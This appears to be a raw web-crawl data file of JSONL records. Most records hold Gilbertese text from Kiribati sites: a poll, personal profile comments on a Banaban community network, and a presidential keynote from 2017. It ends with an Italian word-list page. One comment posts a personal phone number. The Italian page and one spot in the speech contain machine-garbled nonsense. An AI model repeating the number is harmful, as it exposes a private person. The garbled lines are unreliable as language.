tamneiu","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/slideplayer.com\/slide\/2806168\/","date":"2017-04-25T05:18:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917120101.11\/warc\/CC-MAIN-20170423031200-00500-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":0.9999731779,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9999731779098511}","num_words":1120,"character_repetition_ratio":0.055,"word_repetition_ratio":0.126,"special_characters_ratio":0.219,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Yop Poll Archive Which team is Built for Long Term Success Team Allred Team Smith Team Peters Team Kolakowski Team Magruder Team Leonardis Team Sanders Team Berest Team Mintz Team Giacubeno Team Toporek Team Horowitz Team Davis Team Asaad Team Smith Team Kennedy Team Nardone Team Erler Team O'Brien Team Zierk Team Redman Team Jocz Team Duncan Team Fleisher Team Duffy Team Goldberg Team Hall Team Tauscher Team Bailey Team Butler vote Which team is Built for Immediate Success Team Allred Team Smith Team Peters Team Kolakowski Team Magruder Team Leonardis Team Sanders Team Berest Team Mintz Team Giacubeno Team Toporek Team Horowitz Team Davis Team Asaad Team Smith Team Kennedy Team Nardone Team Erler Team O'Brien Team Zierk Team Redman Team Jocz Team Duncan Team Fleisher Team Duffy Team Goldberg Team Hall Team Tauscher Team Bailey Team Butler vote Click to comment Leave a Reply Cancel reply Your email address will not be published. Required fields are marked *Comment Name * Email * Website","id":"","dump":"CC-MAIN-2017-22","url":"https:\/\/www.todaysfastbreak.com\/yop-poll-archive\/","date":"2017-05-29T15:19:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463612399.20\/warc\/CC-MAIN-20170529145935-20170529165935-00118.warc.gz","language":"gil","language_score":0.3757977486,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.37579774856567383, \"eng_Latn_score\": 0.24020583927631378, \"deu_Latn_score\": 0.06276918947696686, \"efi_Latn_score\": 0.020234638825058937, \"kin_Latn_score\": 0.018062729388475418, \"gur_Latn_score\": 0.013639217242598534, \"twi_Latn_score\": 0.012397845275700092, \"mah_Latn_score\": 0.012334815226495266}","num_words":163,"character_repetition_ratio":0.067,"word_repetition_ratio":0.688,"special_characters_ratio":0.17,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.926,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"\"mauri natina! e uara te seaman? aa kani bane te 7 seas ao all ports iroum ke? ea bon jealous ngkai aeroman. e tau ma kakaonimaki ao tekeraoi te waaki. boua ngkai e tataninga ana mare nakon ritemba 2011.try to make it eh ba kona karaai wa ma tarin…\"\n\"Maio koa uringa au lap top are ia tia ni butiko ngkna e kona reke ni manangam aio ok ia manga bon tareboniko ngkna ko roko ikai ena tekeraoi te managa ibukin te makuri ao take care ia bon karokoa am kamauri nakon tamam\"\n\"mauri uncle,sorry I just back on banaban cuz i banako ma taian super beauty i kiribati ioan te taian chat n so and so,gaia i busy n roaroaia ma e na bakara ebn reke nab.Ngaia ia siba karairaki ba ea bane moa au bait te[$$$]hahaha,so te news mai ikai…\"\n\"mauri uncle,i taku gai ba e kagaga rokom ikai nte banaban voice.E raraba te news aniwai,i still miss u guys.I saw hermans photo n hes growing in2 manhood n i guest he'll Bcome like you.\nI taku ba ia kan aki ooa ana maree tariu anne…\"\n\"mauri naba maio. ea boni maan te tai ke? anyway life still goes on n i want to retire quickly so i can enjoy just fishing n farming but i got so many big mouths to feed while they are still bero in the house.maybe when they start working. ok e raba…\"\nkona maury sis..........i think ko a rikirake riki ni boton aine ma am pic................ao kona oki nigai nako kiribati bwatina nako ni midtown.....hhahah.......kaga i oago bwa koa maga reirei..... ea gae ni bane am tai ao are ko bn kan reirei nb shshsh..........konag kabanetai ko riai ni kamateaki ma aron am vaaki anne........tao ko matu ao ea kabaeaki nb roroam....hahaha...............shshe tau ma tina kaboo bwa antai riki ae e vantogaaki nte reirei iroun tamana.....ahaha tia boo moa.........sis.hehe.\nmauri natina! e uara te seaman? aa kani bane te 7 seas ao all ports iroum ke? ea bon jealous ngkai aeroman. e tau ma kakaonimaki ao tekeraoi te waaki. boua ngkai e tataninga ana mare nakon ritemba 2011.try to make it eh ba kona karaai wa ma tarin buuna. tia boo moa.\nMaio koa uringa au lap top are ia tia ni butiko ngkna e kona reke ni manangam aio ok ia manga bon tareboniko ngkna ko roko ikai ena tekeraoi te managa ibukin te makuri ao take care ia bon karokoa am kamauri nakon tamam\nmauri naba maio. ea boni maan te tai ke? anyway life still goes on n i want to retire quickly so i can enjoy just fishing n farming but i got so many big mouths to feed while they are still bero in the house.maybe when they start working. ok e raba te ururing ao nako mai kaea ana mare boua ngkana ko mawa nakon temotirawa are ritemba. ena tekeraoi te waaki ao tia boo moa","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/banabanvoice.ning.com\/profile\/MaxMaio","date":"2017-05-24T13:34:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607846.35\/warc\/CC-MAIN-20170524131951-20170524151951-00531.warc.gz","language":"gil","language_score":0.9963083863,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.9963083863258362}","num_words":488,"character_repetition_ratio":0.049,"word_repetition_ratio":0.493,"special_characters_ratio":0.251,"stopwords_ratio":0.193,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"\"mauri ngkami ao kam uara ngkai e nakoraoi te reirei ke ea bon nako kain te airiri keiakina te reirei ao imwina teiein ao ngke Naomi koa angania naba am karo ni kabane au kamauri ae maitorotoro ao tekeraoi te reirei\"\n\"mauri tanga nataei?......kam nang tara ni marurung ker?titebo ma kama rangi ni mainaina?......kong look like ur father ha?.......coz ur mum was a witch hahaha.......\nko anga naba au kamauri nakoi ara family ikanne,\nbye baby boy withur lov wife,\"\n\"hey bro...imagine seeing u here...ahahaha...ao ngkee eang...come by mah page when u have time n dont by shy abt leaving comments n stuff kee....dont bother abt anything if its bad enuff for yah:D:D...\nlove yah...muahz n God Bless\nregards to ur…\"\nmauri ngkami ao kam uara ngkai e nakoraoi te reirei ke ea bon nako kain te airiri keiakina te reirei ao imwina teiein ao ngke Naomi koa angania naba am karo ni kabane au kamauri ae maitorotoro ao tekeraoi te reirei","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/banabanvoice.ning.com\/profile\/IaretaTitau?xg_source=activity","date":"2017-05-22T17:26:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463605485.49\/warc\/CC-MAIN-20170522171016-20170522191016-00426.warc.gz","language":"gil","language_score":0.9987512231,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9987512230873108}","num_words":162,"character_repetition_ratio":0.075,"word_repetition_ratio":0.418,"special_characters_ratio":0.242,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"\"Te kamauri to follow classmates and my teacher's at RHS...\nReally miss RHS.....and thanks to all my teacher's.....enable us to sucessfull in life....\nthe hardship we go through really heads but we manage to reach the line.\nThanks for…\"\n\"Ko raba Batae ti rangin marurung raoi.....\nTe makuri ko a bon bibiri naba ma te tai.... kanga e kaukua naba ker? e tau ai tangiran te tianti...ahah\nNeiko aio ana email address am mitinare anne...ahah (email@example.com)\nBatae e rangin buzy…\"\n\"Isa Erema, well dad send me a message when he was in the hospital, then he has to be removed out as there's no cure in hospital....then just before yesterday he told me me that he passed. Its an heartbreak, really cried but what else can…\"\n\"Mauri Tutu Kam uara bon te kataniga ba kam marurung. Ao euara te makuri hope its good and enjoyable.Anyway Tutu Im been trying Terry i kiribati but no reply pliz send mi thier e-mail adress.\nEraba ao ena tekeraoi te makuri\nlove from mi and…\"\n\"hey Tutu tao koa bon tia n ongo te rongorongo are motirawa Tekateke ara buun Teretia two days ago. Antai ae nang aki motirawa man te maeiu aio kee . bon ti tekeiakinaki aron te maeiu aio ba kona roko n te mwenga are ei tiaki .\ntao bon ti anne…\"\nhey Tutu tao koa bon tia n ongo te rongorongo are motirawa Tekateke ara buun Teretia two days ago. Antai ae nang aki motirawa man te maeiu aio kee . bon ti tekeiakinaki aron te maeiu aio ba kona roko n te mwenga are ei tiaki .\nAhahahah ....Tutu eng kai e koaua aee.. ae ti maroro ikai kee ao ngaia anne tuanga tariu anne bwa e na bwaina te amamarake kee ba eaongan ae e a intoa kee ...ahahaha angania am koraki naba ara kamauri . Tekeraoi ao tia boo ngkami\nTutu mauri moa ngkoe ao buum are te boboto anne Tinakabuta. kam aura moa ngkai.e raraba te maeu aio ba tia manga uaia ni nono ikai kee .e tau ma kam na tiku ma te tekraoi ao ngai ia nako ma te makeikei. anga aia kamauri au koraki nakoimi ni kabane\nneiko kouara moa ngkai .auara natim aikanne ?? eaura raom anne ?? koa anganna naba au kamauri kee. long time ma e raba ba ia tiba roko n ami auc aio ma ia ti katuka naba au rongorongo nakoimi ngke akea ngkami E tau ma rtekeraoi ngkami ma buum anne ao natimi ni kabane . E.Akai tia boo moa ngkami.\nmauri\nwel glad 2 hea d@ da drop outs r sculing.so wat happen to miss Benia n Mirini???anyways send regards 2 da new teachers...ahahahah.ohh m in kiribati doing my foundation in usp n probably i'll b in fj by nxt yr n hope to visit da paradise island (rabi)","id":"","dump":"CC-MAIN-2017-26","url":"http:\/\/banabanvoice.ning.com\/profile\/tutuatauea","date":"2017-06-28T18:59:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-26\/segments\/1498128323730.30\/warc\/CC-MAIN-20170628185804-20170628205804-00539.warc.gz","language":"gil","language_score":0.9899538755,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.989953875541687}","num_words":464,"character_repetition_ratio":0.045,"word_repetition_ratio":0.158,"special_characters_ratio":0.237,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"\"Neiko ai bon kamakura rabwatam ao ko tekena te aba ko a roko naba i New Zealand bon ti tebo teitei ma natim are Nei Elfriede. E kamauriko naba Totiring ma buuna ao kain te auti ni kabane. Tekeraoi ao regards nakoia kain am auti . Send am email…\"\n\"oh sis this is CUBA and it is situated in CENTRAL AMERICA. IM studying medicine in this country and this year is my second year. This school consist of students from all over the world including the pacific. 4 more years for me to become a qualified…\"\n\"Such a lovely foto.Anyway jst droping by to say HELLO to the family dat side.The family in Fiji are all well and doing gr8.Loloma to Totirin, n how do she like her tights n the tops i hope itz her taste.\nHave a good one\"\n\"Oh!!! Uro aunty !!?? I a taia ko bon marurung raoi. Ko bae ni ma rikarika koa kan roko nte taetae ni\nKiribati ae ko nang KAUBUTAE . Ko tuai ni kariki aine keee, e ao ria i bon taninga natim ao ea karaoa taekana keee hahahahahaha\nTekeraoi Am Waaki.\"\nNeiko ai bon kamakura rabwatam ao ko tekena te aba ko a roko naba i New Zealand bon ti tebo teitei ma natim are Nei Elfriede. E kamauriko naba Totiring ma buuna ao kain te auti ni kabane. Tekeraoi ao regards nakoia kain am auti . Send am email address. Tia boo moa!\noh sis this is CUBA and it is situated in CENTRAL AMERICA. IM studying medicine in this country and this year is my second year. This school consist of students from all over the world including the pacific. 4 more years for me to become a qualified doctor. Euara am information anne , ia manga boni kaongora riki ngkana iai rongorongon ara tabo aei. Tiabo moa.\nhei sis kko mena ikai? anne au mob number02102904173 call me bwa i kan tae2 ma gke? kko mena n te south bwa i nori tamneim n am page. loloma levu to an u r family over there. all the best and takecare! mocemada emele!","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/banabanvoice.ning.com\/profile\/JemimaJulietKoster","date":"2017-08-19T14:52:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105455.37\/warc\/CC-MAIN-20170819143637-20170819163637-00474.warc.gz","language":"gil","language_score":0.9184232354,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9184232354164124, \"pcm_Latn_score\": 0.013087905012071133}","num_words":348,"character_repetition_ratio":0.04,"word_repetition_ratio":0.448,"special_characters_ratio":0.231,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":0.863,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"By online editor.\nBERETITENTI TANETI MAAMAU'S KEYNOTE ADDRESS\n(On the Occasion of the OB Quantum Leap Week, 9 March 2017)\nNakoia ara iruwa aika kam karineaki aika kam raonira n ara bong ae e kakawaki aei\nTe Tibiika ae ko rine ma kaainnabam\nTe Tia Moti ae e Rietata ma kaainnabam\nMinita ma kaainnabami\nTaan Tei ma kaainnabami\nMataniwin ara Ekaretia\nTaan Koroboki ma kaainnabami\nTaan Tei mai Abatera (members of the Diplomatic Corps)\nAtaein Reirei, Kaaro, Taan Reirei, kaain ara kaawa nako iaon Tarawa Teinainano ma Betio ao Kiritimati ao rabwata nako ake kaain naba te wiiki aei, reitaki ma Communities aika a kakaokoro\nKaain Au Tiim ni Kabane n au Aobiti aika a kakaokoro n ikotaki ma kaain te Botaki n Akawa ma Karikirakean Kaubwaira mai Marawa, te Botaki ibukin Kaneweaba, te Botaki ibukin Karikirakean te Aono n Raina ma Rawaki ake kam a kanoaa man boutoka kanoan te wiiki aei, Te tia Babaire ao kaain te Komete ni kabane,\nKaain Kiribati n ara abamakoro nako ake kam raonira inanon Bwanaan Kiribati n te ingabong aei\nTi teitamatoa inanon aia bong aine ae kakawaki n te Aonnaba, ao ni bwanaia ainen abara ae Kiribati, ao N aran ara Uea ae Iesu Kristo ao kam na bane ni mauri.\nTeuana te ririki n nako n te bong aei n 9 ni Maati ao kam anganira, ngaira kaain ami Tautaeka n ara Bwatei ae Tobwaan Kiribati, te mwioko ibukin tobwaan abara.\nTeuana te ririki n nako n te bong aei ao ti butimwaea te tibwanga aei ma te nano rinano.\nTeuana te ririki n nako n te bong aei ao kam kamatoa kanoan ara Motinnano bwa ngaia kairan ara waaki n Tautaeka inanon te aua n ririki. Ti kakaitau bwa a tia ni koro nanon kanoan ara Motinnano aika a mwaiti are e a kaan iteran are ti kawenei imatami bwa kanoan ara waaki, ao ake tia mwaneni mani kaubwain abara aika a tauraoi. Iaon kawaina akana nikirana ni kakoroaki nanoia.\nN te tai aei, ao ti a rimoa n anga ara kakaitau nakon Atuara ae e maiu ibukin teimatoan te maiu ao te marurung iaora ni bane ao teimatoan te rau i abara ae e bati n tangiraki iroura.\nTi kaitaua naba Te Atua ibukin ana kairiri n ara waaki n Tautaeka inanon te ririki ae e a koro teuana n te bong aei. Akea ara konaa n akean ana kairiri ao ana kakabwaia nakoira ni bane. Ao bon ti Ngaia ae e na manga kaira abara nakon te rikirake ae tamaroa riki.\nE kimareirei nanou n te tai aei n tibwai nakoimi kanoan miin ami Tautaeka ibukin te 20 n ririki ni kaineti ma kanoan ara Motinnano. Aikai aika a kateaki bannaia ma tamneia inanon ana wiiki ana Aobiti nako Te Beretitenti are e waaki man te wiiki ae e nako. Aran te wiiki bon 'Wiikin te Kiba nakon te Rikirake' ke te 'Quantum Leap Week'. Te kibu ni koora bon 'Te Rikirake Rinanon te Tobwaraoi' ke 'Better Service, Better Lives'.\nTao e na bon mwaiti aika a na titiraki bwa e aera ngkai ti arana ara wiiki aei bwa 'Wiikin te Kiba nakon te Rikirake' ke te 'Quantum Leap Week'. N aroia naba ara ataei ake a kateia nab aba te titiraki? Ao aei kaekaana: bwa n te tai aei ao e a tangiria ami Tautaeka bwa ti nang kiba nakon te rikirake ao ti nang aki karaurau ni waaki nakon te rikirake, riki n itera ake a bon kona moa ni kibaraki. Ti kakoaua bwa e kona n reke iroura te rikirake aei n aron birimwaakan rikirakeia aaba aika Singapore n te Aono n Atia, ao Dubai, n te Aono n Arabia. Rikiraken aaba aikai e bon reke man te kanoa ni mii ni kaineti ma kabonganaan raoi kaubwaia ibukin kabwaiaia aia botanaomata.\nN aron ae a kauringira ara ataei ni moan te wiiki aei ao moan te mwakaroiroi te kanoa ni mii. Bwaai ake ti taku bwa a na aki kona n reke a na bon kona n reke man te kanoa ni mii ao kakoroan nanon te kanoa ni mii anne. E kauringaaki n teuana te maroro irouia ara ataei kanoan miin Beretitenti Kennedy i Amerika are e taku n 1967 bwa e na karokoa te aomata iaon namakaina ao ni manga kaokia nakon te aonnaaba. N taai akanne ao a bae ni mwaiti titiraki ao tao raraoma ni kakoroan kanoan te mii aei. Ao te titiraki nakoira bwa e aera e na kona n roko Neil Armstrong n namakaina ao ngaira e na aki roko abara n te rikirake ae ti kantaningaia? Ao tera tibwangara ibukin karokoara n te toko aei? Aikai titiraki aika a na tiku iroura ngaira kaain ami Tautaeka ma taan mwakuri ao ngkami ara taan kairiri ni kabane, ao ara botanaomata ni bane n ara abamakoro aika a kakaokoro, ara kaawa, ara Aro, ara bitineti, ara Communities, ara botaki nako ao ai bon mwengara nako.\nAo n aron bwanaia ara ataei ni kauring rinanon aia maroro, are a taku ba e na moanaki te bitaki nakon te tamaroa riki bon man te Mwenga, are bon kainikatikun te I-Kiribati ni koaua n mauena, n ana katei, ao ni korakorana ibukin taai aika a na roko ibukia natira ma tibura. Bwanaia naba ara ataei nakoira ngaira taan kairiri, bwa te kabanea n tamaroa n service are tina kona n namakinna ba e kewa ao e kakang, bon te aeka n service are ko kaakeako ao ni kabuako ni kamwakuri korakora ibukin kainanon te botanaomata. Akanne ana taeka te tia kairiri temanna n te aba ae India ae Mahatma Gandhi.\nI kan tanrikaaki nakon ririki aika a nako man moan reken te inaomata iroura. Ao ti nora te rikirake ae e bati iaon abara inanon te 37 tabun te ririki man te tai anne. I a kan karekea te tai n te bong aei ni kaitauia ara Tautaeka ake imwaaira ibukin tibwangaia ake a tia ni karaoia ibukin abara ao ibukira ni kabane. Ti karabwaia ibukin karokoara n te rikirake ae ti noria n te tai aei.\nInanon te tai anne ao e a tia n reke ara tai ni kamatebwaia aron kaubwaira, aron rikirakera ao waaki aika a na uarokoira nakon te kabwaia ao te maiuraoi.\nE kakoaua ami Tautaeka n te tai aei bwa e a tauraoi Kiribati ni kiba nakon te rikirake.\nE a tauraoi Kiribati ni kabonganai kaubwaina aika 1) ara botanaomata; 2) ara marawa ao abara; ao 3) ara katei ma rikiara ni Kiribati.\nE a tauraoi Kiribati ni karakaa riki aron te kabwaia man are e a tia ni kakawakinna ao ni kaikoikoa inanon ririki aika a nako.\nAna Motinnano te Tautaeka e bon moanibwai iai ara botanaomata ao kakawakin te reirei (education) ao tuan te mauri (health). Ti bane ni boraoi ni iango are te reirei bon kiingin te kabwaia ao te rikirake nakon te maiu raoi ae e tamaroa riki. Ao te botanaomata ae e marurung e na bon kona ni waakin ana waaki n reirei ao ni karikirake. A tia ni koro nanon ara Motinnano tabeua ni iteran te rerei ao te kuakua.\nI kukurei naba n taekinna bwa e a tia te Kaebineti ni katebenakoi kanoan waaki aika a na moanbwaiaki inanon te 20 n ririki. Aio te kataratara ae e rababa ao n ananau ibukin uarokoara nakon te kantaninga are e a tia ni kawenea ami Tautaeka ibukin kabwaiaia ara botanaomata. Kaubwain abara ae Kiribati e bon mena n ara marawa ao aei are ti bon tuai raoi ni kabongana ke ni karikirakea ngaira. Ara karekemwane man ara marawa e rereke ngkai man boon aia raitienti taan akawa n ara marawa. N te tai aei ao e a tia ni kataunaaria ami Tautaeka bwa e nang iangoa karekean ana kaibuke n akawa bwa ti nang bon akawa ara ika, tin a karaoa ara ika ao ni kabonakoa bwa e aonga n tiku mwanen ara ika iaon abara. Ara waaki aei are e na karekea te mwakuri ao te kareke tianti irouia ara botanaomata. Ara karekemwane aei e na kona ni mwanen ara karikirake aika a kakawaki ibukia ara botanaomata ao ni kauarerekea te kakantaninga iaoia taan anga te buoka.\nIrarikin karikirakean kaubwaira man ara marawa ao e a tia naba ami Tautaeka ni baireia bwa e na karikirakea naba te waaki ni kaneweaba. Man tamaroan abara, ara katei, ara karaobwai ao ara kakairuwa ao ni karaoan waaki aika akea n ai aroia n aban te Betebeke ao ti kakoaua bwa e na bon kona ni mwaiti naba te karekemwane man te kaneweaba. Teuana kaubwaira, mai buakon aika a mwaiti, ae akea n ai arona bon ara rakai, ke rakaain abara, ake a korakora mataiakinaia irouia taan rabakau aika a maiti. N aron kanoan ara Motinnano ao ti na kaungaia taan karikirake iaon te kaneweaba bwa a na karikirake iaon abara ao riki abara ake akea kaaia.a n reke nakoia ara botanaomata.akawa bwa ti nang bon akawa ara ika bw\nKakoroan nanon kanoan te kataunaari iaon itera aikai a na bon kainnanoi mwakuri ni katamaroa nakon riin te waaki n iteran te itoman, te mwamwananga ao a mwaiti riki. E na karekeaki te wanikiba ae e na kona n toma Kiribati ma aban tinaniku. Aei ae iaon kawaina n tabwanin aron barongakina. Ana karekeaki riki kaibuken Kiribati aika a korakora ao a kamweraoi ibukin te mamananga. A na katamaroaaki taian tabo n rooroo iaon ara abamakoro nako ao n reitaki te katamaroa nakon kawain ao maraen aon abamakoro. E na kanakoraoaki te waaki n itoman, ao kanakoraoan te kawakinimane, ao a mwaiti riki.\nA waaki ngkai te Botaki ni Mwakuri ibukin te Akawa ao Karikirakean Kaubwaira mai Taari ao te Botaki ni Mwakuri ibukin Rongorongo, Itoman, Mwamwananga ao Karikirakean te Kaneweaba ni moana aia mwakuri ma ana Botaki ni Mwakuri nako te Tautaeka ao rabwata riki tabeua iaon barongaan kanoan te itera aio. Te katautau bwa e na kona n otinako kanoan te kataunaari aei ke te kanoa ni mii aei nakon namakaina aika imwaaira.\nI kauringaki te taeka n rabakau are e kangai bwa nakoraoin te kataunaari e nakon kakoroan nanona. Anne bon te moan mwaneka. E na kibari karikirake ma waaki ami Tautaeka ake a tauraoi ngkai ni waaki ao ni barongai raoi kanoan akana a na kainnanoa te kamatebwai.\nAei ngkanne are e a roko iai kakawakin kibaran te katamaroa n aron te waaki ni mwakuri irouia taan mwakuri n te Tautaeka, ana Kambwana nako te Tautaeka ao ai bon ngaira ni kabane ibukin kakoroan nanon te kataunaari ao te kantaninga aei. Ngkai ao a mwaiti naba bitaki aika a waakinaki inanon ara tabo ni mwakuri nako ake a kaineti naba ma ara Motinnano ao kanoan ara kataunaari. Ti na kanakoraoa tobwaan kainnanon te botanaomata inanon ana rabwata nako te Tautaeka, ti na kibara te rikirake n te waaki ni kataneiai. Ti na kibara te rikirake n te kareke beeba nakon te kabanea n rietata ni beeba bwa a na toamau naba ara tiim ibukin kakoroan nanon te kantaninga.\nA na bane n nakoraoi ara waaki nako ngkana ti kateimatoa te bekumwaaka, kabonanga raoi te tai, te ikarekebai ao ai bon kakaraoan raoi tibwangara inanon te koaua, te kakaonimaki ao kakaraoan te eti ma te riai.\nN te tai aei ao n na bubuti teutana te tai ibukia ara koraki ake a tuai n ota n ara taetae.\nLet me, at this time, acknowledge the presence of our partners in development.\nThank you for joining us today.\nThis is a special day for Government.\nOne year ago, today, our Government received its mandate to serve the people. A mandate that we accepted with humility. A mandate with a clear pathway through our Motinnano.\nOver the course of one year, we have tried our best to achieve as much of what we have committed to deliver as part of our service to our people. We are grateful for the support we have received from everybody, including our partners, and hope to continue to receive this as we strive towards implementing the remaining commitments.\nEarlier this year, Government agreed to develop its Kiribati Vision 20 (KV20) to guide our policy priorities in the long-term with a focus towards accelerated growth or a quantum leap development in the next three years with strategic investment in our human, natural and cultural capital. Underpinning all of these is infrastructure development, land use plan, governance and strategic partnership which are critical foundations for investment. Our commitments in education and health are already moving, and many more to come. Critical services like Communication, Transport, Energy and Banking are also required to move in tandem.\nThe priority sectors selected for the quantum leap development are fisheries and tourism. We believe that Kiribati can become the Singapore or Dubai of the Pacific through quantum leap development in these sectors.\nOur vision is for Kiribati to participate fully in its fisheries industry.\nOur vision is for Kiribati to be a world class eco-friendly travellers' destination.\nOur vision is to implement tangible projects in these sectors within the next three years.\nSome may think this as quite ambitious.\nWe believe these are achievable if we invest our resources and energy towards these targets.\nEarlier this week, I attended the students' speech competition as part of this week's programme and I was reminded of the power of the vision to turn the impossible into the possible. One of the students referred to President Kennedy's vision to put man on the moon, what seemed then to be an impossibility, which became possible. With commitment, drive, focus and proper planning, investment and implementation, we strongly believe we can achieve what we set out to do. And these same children also in their speeches, indicated to us all where the quantum leap pathway should begin? They said, From \"the Home\", the foundation of our Kiribati unique way of doing things, the foundation of our life, our resilience and our future for our children and grandchildren.\nWe are grateful to our previous leaders and Governments for taking Kiribati to where it is today. We believe Kiribati is in a position to take a quantum leap towards development.\nThis is our grand opportunity to take charge of our own destiny. We invite you to take a leap with us in our development.\nAs the saying goes, \"Nothing is impossible without God and the Bible\"\nAu kakaitau nakoimi ara iruwa ibukin rokomi ni kakoaua kanoan ara bong aio.\nAu kakaitau nakon Tamara te Ebikobo ibukin kaukan ara bong aei n te tataro.\nAu kakaitau nakoia ara koraki ni kabane n ara kaawa iaon Tarawa Teinainano, Betio ao Kiritimati ake raora inanon ara wiiki aei.\nAu kakaitau nakoia ataein reirei ma aia mataniwi, aia tia reirei ao aia karo ake ngaia naba raora inanon ara wiiki aei.\nAu kakaitau nakoia kaain ara kuaea ma taan anene ake raora naba ni kanoaa ara wiiki aei.\nAu kakaitau nakoia Botaki ni Mwakuri ni kabane n te Tautaeka ibukin boutokaan kanoan te wiiki aei, riki te Botaki ni Mwakuri ibukin Akawa ao Kaubwaira mai Marawa, te Botaki ni Mwakuri ibukin Rongorongo, Itoman, Mwamwananga ao Karikirakean te Kaneweaba ao ait e Botaki ni Mwakuri ibukin Karikirakean te Aono n Raina ma Rawaki.\nAu kakaitau nakoia ni kabane kaain au tiim man aobiti nako ake a mena iaan au tararua ibukin barongaan ao kakoroan nanon kanoan te wiiki ao riki te bong aei.\nAu kakaitau nakoia raou ni Minita ao taan mwakuri ni kabane n te Tautaeka ao ana Kambwana nako te Tautaeka ibukin kakoroan nanon kanoan tibwangara inanon te ririki ae e a koro teuana n te bong aei.\nAra bwai ma ngkami n taai nako Te Mauri, Te Raoi ao Te Tabomoa ma ana kakabwaia Atuara ae e maiu.\nKam a aitau, kam a aitatarika ao kam a aitokamauea\n5","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/kiribatiupdates.com.ki\/2017\/03\/14\/quantum-leap-week-he-taneti-mamaus-speech\/","date":"2017-10-18T14:41:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187822992.27\/warc\/CC-MAIN-20171018142658-20171018162658-00512.warc.gz","language":"gil","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000089406967163}","num_words":2627,"character_repetition_ratio":0.056,"word_repetition_ratio":0.007,"special_characters_ratio":0.201,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > R05 > rtico\nPAROLA : rtico\nLUNGHEZZA : 05\nALFAGRAMMA : ciort\nELENCO PAROLE CONTENUTE IN : rtico\ndi 02 lettere :\nrt\nti\nic\ndi 03 lettere : rti tic ico\ndi 04 lettere : tico\nALCUNE PAROLE CHE CONTENGONO : rtico\narticolarsi articolarit articolate corticosteroide articolabile articolabili particolate articolatore articolarono diverticolari articoluccio articoloni articolone osteoarticolare periarticolari disarticolando catartico glucocorticoidi particolareggiato disarticolazione articolassero disarticoler aspartico adrenocorticotropo particolarit mineralcorticoidi articolazzione particole corticosteoridi articolano multiarticolari glucocorticoide portico particolarismo particolareggiassi particolareggiasti particolareggiaste vorticoso particolareggiassimo articolati vorticosa corticosteroidee articolava intrarticolare interarticolare vorticosamente articolando articoliamo decortico diverticolo particolarissima scortico antartico particolareggiata vorticosi orticonoscopi corticotropi osteoarticolari peridiverticolite orticonoscopio particolareggiano particolareggianti disarticolava diverticoliti particolareggiasse articolandosi dorticoltura particolarissime periarticolare particola articolute disarticolati intraarticolari particolarissimo articolaste particolato desertico\nFRASI CHE INIZIANO CON : rtico\nrtico azo ara enta ara ento ara era ara ero ara il ara ara azo\nrtico aoa aoa aoa ao ao ao ao ao ao ao nides ao rtica ao\nrtico aoa aoa ao ao ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass ao ao ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass ao ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao rtico\nrtico aoa aoa aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica\nrtico aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao rtico\nrtico stelle del del polo settentrionale acca che il fusto grosso carnoso come\nrtico aoa aoa aoaass aoab aoab aoac ao ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoab aoac aoad ao ao ao nides ao rtica ao\nrtico aoa aoa aoaass aoab aoab aoac aoad aoaff ao ao nides ao rtica ao\nrtico aoa aoa aoaass 